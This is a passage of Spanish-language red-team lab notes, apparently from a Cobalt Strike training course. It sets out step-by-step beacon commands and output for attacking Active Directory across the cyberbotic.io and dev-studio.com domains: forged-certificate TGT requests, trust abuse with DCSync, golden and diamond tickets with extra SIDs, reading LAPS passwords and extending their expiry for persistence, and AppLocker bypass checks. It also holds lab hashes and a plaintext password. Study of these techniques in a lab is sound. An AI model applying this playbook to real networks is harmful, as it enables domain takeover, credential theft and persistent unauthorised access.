Done. Saved forged certificate to .\Desktop\fake.pfx with the password 'pass123'
```
4. Encodearlo en b64 para usarlo con rubeus
```
ubuntu@DESKTOP-3BSK7NO ~> cat cert.pfx | base64 -w 0
MIIM7w[...]ECAggA
```
5. Solicitar un TGT con el certificado
*Nota: se puede hacer con certificados de usuarios y máquinas, pero en ese caso hay que usar el truco S4U2Self*
```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:nlamb /domain:dev.cyberbotic.io /enctype:aes256 /certificate:MIACAQ[...snip...]IEAAAA /password:pass123 /nowrap
```
### Forest y Dominios de Confianza
```
beacon> powershell Get-DomainTrust // si devuelve inbound es que puedo acceder a recursos del dominio externo
SourceName : dev.cyberbotic.io
TargetName : dev-studio.com
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes :
TrustDirection : Inbound
```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /service:cifs/dc.dev-studio.com /domain:dev-studio.com /dc:dc.dev-studio.com /ticket:doIFoz[...]NPTQ== /nowrap
Enumerar el dominio externo:
```
beacon> powershell Get-DomainComputer -Domain dev-studio.com -Properties DnsHostName
beacon> powershell Get-DomainForeignGroupMember -Domain dev-studio.com //enuemrar externos al dominio
GroupDomain : dev-studio.com
GroupName : Administrators
GroupDistinguishedName : CN=Administrators,CN=Builtin,DC=dev-studio,DC=com
MemberDomain : dev-studio.com
MemberName : S-1-5-21-569305411-121244042-2357301523-1120
MemberDistinguishedName : CN=S-1-5-21-569305411-121244042-2357301523-1120,CN=ForeignSecurityPrincipals,DC=dev-studio,DC=com
beacon> powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1120 //traducir el SID en grupo
DEV\Studio Admins
```
Buscar un miembro del grupo
```
beacon> powershell Get-DomainGroupMember -Identity "Studio Admins" | select MemberName
MemberName
----------
nlamb
```
Solicita el TGT (inter realm key) del usuario target
```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:nlamb /domain:dev.cyberbotic.io /aes256:a779fa8afa28d66d155d9d7c14d394359c5d29a86b6417cb94269e2e84c4cee4 /nowrap
```
Usa el TGT para pedir un inter-realm ticket en el dominio target
```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /service:krbtgt/dev-studio.com /domain:dev.cyberbotic.io /dc:dc-2.dev.cyberbotic.io /ticket:doIFwj[...]MuaW8= /nowrap
```
Usa el inter-realm Ticket para pedir el TGT en el dominio target
```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /service:cifs/dc.dev-studio.com /domain:dev-studio.com /dc:dc.dev-studio.com /ticket:doIFoz[...]NPTQ== /nowrap //acá pide para CIFS
```
#### Outbound Trust
En este caso DEV -> trust -> CYBER
```
beacon> powershell Get-DomainTrust -Domain cyberbotic.io
SourceName : cyberbotic.io
TargetName : msp.org
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FILTER_SIDS
TrustDirection : Outbound
```
Busca objetos de confianza en cyberbotic
```
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(objectCategory=trustedDomain)" --domain cyberbotic.io --attributes distinguishedName,name,flatName,trustDirection
```
Opciones:
1. Dumpear la memoria desde el DC
```
beacon> mimikatz lsadump::trust /patch
```
2. Usar Dsync (seleccionar la pass que dice Out)
* Buscar el GUID del objeto de confianza
```
beacon> powershell Get-DomainObject -Identity "CN=msp.org,CN=System,DC=cyberbotic,DC=io" | select objectGuid
```
* Realizar Dsync
```
beacon> mimikatz @lsadump::dcsync /domain:cyberbotic.io /guid:{b93d2e36-48df-46bf-89d5-2fc22c139b43}
```
* Buscar la cuenta asociada (trusted account del trusted object)
```
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(objectCategory=user)"
```
* Usar la cuenta asociada para solicitar el TGT
```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:CYBER$ /domain:msp.org /rc4:f3fc2312d9d1f80b78e67d55d41ad496 /nowrap
beacon> steal_token 1164 //con el PID correspondiente
beacon> powershell Get-Domain -Domain msp.org //ya se puede acceder al dominio
```
#### Golden Ticket en Dominio de confianza
1. Buscar el SID del grupo objetivo en el dominio padre
```
beacon> powershell Get-DomainGroup -Identity "Domain Admins" -Domain cyberbotic.io -Properties ObjectSid
objectsid
---------
S-1-5-21-2594061375-675613155-814674916-512
beacon> powershell Get-DomainController -Domain cyberbotic.io | select Name
Name
----
dc-1.cyberbotic.io
```
2. Buscar un usuario objetivo
```
beacon> powershell Get-DomainGroupMember -Identity "Domain Admins" -Domain cyberbotic.io | select MemberName
MemberName
----------
nglover
```
3. Crear el ticket con Rubeus
```
PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe golden /aes256:51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e /user:Administrator /domain:dev.cyberbotic.io /sid:S-1-5-21-569305411-121244042-2357301523 /sids:S-1-5-21-2594061375-675613155-814674916-512 /nowrap
[*] Action: Build TGT
[*] Building PAC
[*] Domain : DEV.CYBERBOTIC.IO (DEV)
[*] SID : S-1-5-21-569305411-121244042-2357301523
[*] UserId : 500
[*] Groups : 520,512,513,519,518
[*] ExtraSIDs : S-1-5-21-2594061375-675613155-814674916-512
[*] ServiceKey : 51D7F328ADE26E9F785FD7EEE191265EBC87C01A4790A7F38FB52E06563D4E7E
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : 51D7F328ADE26E9F785FD7EEE191265EBC87C01A4790A7F38FB52E06563D4E7E
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Target : dev.cyberbotic.io
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'Administrator@dev.cyberbotic.io'
[*] AuthTime : 9/12/2022 10:44:21 AM
[*] StartTime : 9/12/2022 10:44:21 AM
[*] EndTime : 9/12/2022 8:44:21 PM
[*] RenewTill : 9/19/2022 10:44:21 AM
[*] base64(ticket.kirbi):
doIFmD[...]MuaW8=
```
4. Importarlo a una sesión y usarlo para acceder al DC padre
```
beacon> run klist
Current LogonId is 0:0x3a6665
Cached Tickets: (1)
#0> Client: Administrator @ DEV.CYBERBOTIC.IO
Server: krbtgt/dev.cyberbotic.io @ DEV.CYBERBOTIC.IO
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
```
#### Diamond Ticket
Mismo procedimiento:
```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:519 /sids:S-1-5-21-2594061375-675613155-814674916-519 /krbkey:51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e /nowrap
[*] Action: Diamond Ticket
[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/dc-2.dev.cyberbotic.io'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ti
```
### LAPS
1. Determinar uso de laps
```
beacon> ls C:\Program Files\LAPS\CSE //si existe el archivo AdmPwd.dll en esta ruta
beacon> powershell Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl //si hay una GPO con el nombre LAPS
beacon> powershell Get-DomainComputer | ? { $_."ms-Mcs-AdmPwdExpirationTime" -ne $null } | select dnsHostName //si el valor de ms-Mcs-AdmPwdExpirationTime no es nulo
```
2. Al hallar la GPO
* Descargarla
```
beacon> ls \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine
beacon> download \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine\Registry.pol
```
* Parsearla
```
PS C:\Users\Attacker> Parse-PolFile .\Desktop\Registry.pol
```
3. Hallar quién puede leer las pass de LAPS
```
beacon> powershell Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "ms-Mcs-AdmPwd" -and $_.ActiveDirectoryRights -match "ReadProperty" } | select ObjectDn, SecurityIdentifier //dara el SID
beacon> powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107
DEV\Developers //traducir el sid a grupo
```
4. Enumerar OU y grupos que tengan acceso de lectura
```
beacon> powershell-import C:\Tools\LAPSToolkit\LAPSToolkit.ps1
beacon> powershell Find-LAPSDelegatedGroups
Find-AdmPwdExtendedRights: enumera todos los equipos y busca cualquier usuario con 'all extended rights'
```
5. Para leer la pass y usarla
```
beacon> powershell Get-DomainComputer -Identity wkstn-1 -Properties ms-Mcs-AdmPwd
beacon> make_token .\LapsAdmin 1N3FyjJR5L18za
```
#### Duración de la pass de LAPS
1. Listar la duración de la pass (devuelve epoch ldap)
```
beacon> powershell Get-DomainComputer -Identity wkstn-1 -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
```
2. Modificar la duración de la pass como persistencia (ej:10años)
```
beacon> powershell Set-DomainObject -Identity wkstn-1 -Set @{'ms-Mcs-AdmPwdExpirationTime' = '136257686710000000'} -Verbose
Setting 'ms-Mcs-AdmPwdExpirationTime' to '136257686710000000' for object 'WKSTN-1$' //debe ser SYSTEM
```
### Whitelist de Aplicaciones
1. Revisar si está habilitado AppLocker por GPO, la descarga y parsea
```
beacon> powershell Get-DomainGPO -Domain dev-studio.com | ? { $_.DisplayName -like "*AppLocker*" } | select displayname, gpcfilesyspath
displayname gpcfilesyspath
AppLocker \\dev-studio.com\SysVol\dev-studio.com\Policies\{7E1E1636-1A59-4C35-895B-3AEB1CA8CFC2}
beacon> download \\dev-studio.com\SysVol\dev-studio.com\Policies\{7E1E1636-1A59-4C35-895B-3AEB1CA8CFC2}\Machine\Registry.pol
PS C:\Users\Administrator> Get-ChildItem "HKLM:Software\Policies\Microsoft\Windows\SrpV2" //en la máquina localmente
PS C:\Users\Administrator> $ExecutionContext.SessionState.LanguageMode //si está o no en constrained mode
```
```
beacon> powershell Get-Acl C:\Windows\Tasks | fl //hallar writable paths
```
```
beacon> powerpick $ExecutionContext.SessionState.LanguageMode
FullLanguage //salir de CM
```